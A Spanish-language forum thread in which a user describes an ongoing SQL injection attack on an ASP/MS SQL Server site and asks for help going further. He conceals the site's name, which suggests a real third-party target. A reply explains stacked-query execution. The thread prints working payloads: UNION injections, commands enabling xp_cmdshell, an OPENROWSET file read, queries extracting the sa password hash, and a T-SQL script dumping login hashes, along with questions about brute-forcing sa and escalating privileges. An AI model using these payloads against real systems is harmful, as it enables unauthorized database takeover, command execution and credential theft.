Problema con SQLi en ASP MsSQL

Iniciado por furtiworld, 14 Octubre 2010, 20:56 PM

0 Miembros y 1 Visitante están viendo este tema.

furtiworld

Hola a todos, primeramente un saludo puesto que soy nuevo (o no tan nuevo porque estaba registrado desde el 2005 pero sin haber escrito  nunca, aunque si soy lector habitual :P) pero hoy queria preguntar acerca de una duda sobre explotar un SQLi en el cual estoy teniendo problemas...

Al grano, tengo una consulta ya creada con el numero de columnas correcto, y que en realidad devuelve toda la información en formato texto (excepto un campo que es datetime). El problema que tengo es que quiero ejecutar un comando xp_, o bien otra select union pero no lo consigo...

He intentado crear codigo para asignar a una variable una sentencia, que la guarde, y entonces mostrarla en el campo de texto, pero no puedo. Entonces creo que debo hacer una nueva select anidada pero tampoco lo he conseguido. Lo único que he podido leer son variables del sistema (@@version), pero nada más.

El codigo seria como al siguiente:

vuln.asp?Id=-1/**/union/**/all/**/SELECT/**/'1','2',@@version,'20101014'
y con eso leo la version en el campo de texto de la 3a columna. Pero lo que querria es poder ir un poco más allá.


Si me pueden decir como podria proceder a partir de aqui les estaré muy agradecido.
Saludos y "gracias de hantebraso"   ;D

PD: Por cierto, creo que releiendome no se entiende mucho, ya he sacado todas las tablas (60 justas....casi nada...) del INFORMATION_SCHEMA y no hay ninguna que parezca interesante. Las questiones son:
-Se puede ir mas allá?
En ese caso:
- Como puedo ver las filas de alguna columna de alguna de las tablas sin ir a mano?
-En caso que una de esos valores fuera por ejemplo un link o imagen, podria realizar un RFI, por ejemplo?

Siento si parece que voy perdido en este tema... Es que realmente no se si la cosa puede dar de más o no.
Grácias!

tragantras

si quieres intentar ejecutar algun comando xp_ tienes que romper el contexto en el que estás con un punto y coma (";") y luego ejecutar el comando.

No me ha kedado claro si has llegado realmente a ver algun dato de alguna table en concreto, no listar las tablas, sino a ver los datos de ellas :S

Si los valores fuesen links dependería de la manera en que la aplicación hace uso de esos links, si se limita a redirigirte a ese archivo, no, pero si por ejemplo fuerza la descarga de ese mismo archivo si.

De cualquier manera, leete este gran paper te aclarará muchas cosas:

http://packetstorm.codar.com.br/papers/database/mssql-pwnage.txt
Colaboraciones:
1 2

furtiworld

#2
Gracias por la respuesta y el link que me mandas.

Si, he leido valores de datos. Explico un poco algunas de las pruebas que he hecho:

He visto las diferentes BD que tiene: la BD de la aplicacion, master, model, tempbd, y msdb.
Los usuarios: sa y el usuario de la aplicacion (no digo el nombres del usuario y nombre BD xq delataria la web que es xD).Como sysadmin solo hay el sa.

He ejecutado comandos exec con el ";" tal y como comentas, y no recibo errores, es decir, me devuelve lo mismo que sin inyeccion. Y si escribo mal exec (por ejemplo exe) me lanza un error, por lo tanto deduzco que como minimo intenta ejecutar alguna cosa... El problema es que no se la forma de poder leer el resultado de la ejecución! Es decir, como puedo sacar por pantalla el resultado de los comandos que intento lanzar? Por eso hablaba de probar de meter el resultado en una variable y pasarlo a uno de los campos de texto que puedo leer, pero no se hacerlo.

Otra aclaración es que  es MsSQL Server 2005, con lo cual xp_ esta desactivado, pero he lanzado los comandos para activarlo, aunque no he podido ver los resultados que ha devuelto(como he dicho antes), pero no ha dado error:

;EXEC+sp_configure+'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

Otra prueba que he hecho es la de probar de leer un archivo con: Openrowset( Bulk 'C:\WINDOWS\system32\drivers\etc\hosts', Single_Clob), pero no tengo permisos (he leido que deberia ser bulkadmin o algo asi):
Microsoft OLE DB Provider for SQL Server error '80040e14'

No tiene permiso para utilizar la instrucción de carga masiva.

/asesoria_fitxa.asp, línea 5

Tambien he probado de obtener el hash del usuario sa, pero me devuelve el campo vacio... es eso que no tiene password??
asesoria_fitxa.as?Id=-1/**/union/**/all/**/SELECT/**/%271%27,%272%27,%273%27,%274%27,%275%27,%276%27,%277%27,%278%27,%279%27,%2710%27,%2711%27,%2712%27,%2713%27,%2714%27,%2715%27,%2716%27,%2717%27,%2718%27,%2719%27,%2720%27,%2721%27,%2722%27,%2723%27,%2724%27,%2725%27,%2726%27,%2727%27,%2728%27,%2729%27,%2730%27,%2731%27,%2732%27,%2733%27,%2734%27,%2735%27,%2736%27,%2737%27,%2738%27,%2739%27,%2740%27,%2741%27,%2742%27,%2743%27,SUBSTRING(master.dbo.fn_varbintohexstr(password_hash),1,256),%2745%27,%2746%27,%2747%27,%2748%27,%2749%27,%2750%27,%2751%27,%2752%27,%2753%27,%2720101024%27FROM%20master.sys.sql_logins%20where+name=%27sa%27--

He probado tambien con:
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --

Pero me da error de sintaxis:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Sintaxis incorrecta cerca de 'SUBSTRING'.

/asesoria_fitxa.asp, línea 5

Que mas puedo probar? Hay algo para automatizar el brute force del password del sa (he probado sqlmap, pangolin, bobcat y no lo consigo)? Puedo usar openrowset para escalar privilegios de alguna forma? Y sobretodo, lo que me interesaria es poder ver por pantalla el resultado de los exec, para saber si realmente estoy ejecutando algo...

Muchas gracias!

EDITO:
Respecto al tema bulkadmin, he visto que el sa ademas de sysadmin es bulkadmin, por lo que entiendo que pudiendome logear como sa, podria hacer el BULK...:
CONVERT(varchar(10),is_srvrolemember('bulkadmin', 'sa')) devuelve 1.

Asi que quizas deberia entender como hacer un bruteforce al password del sa (ya he comentado que el codigo me ha devuelto el campo vacio y no se si esto puede ser...) y como loguearme como sa para ejecutar el comando openrowset bulk.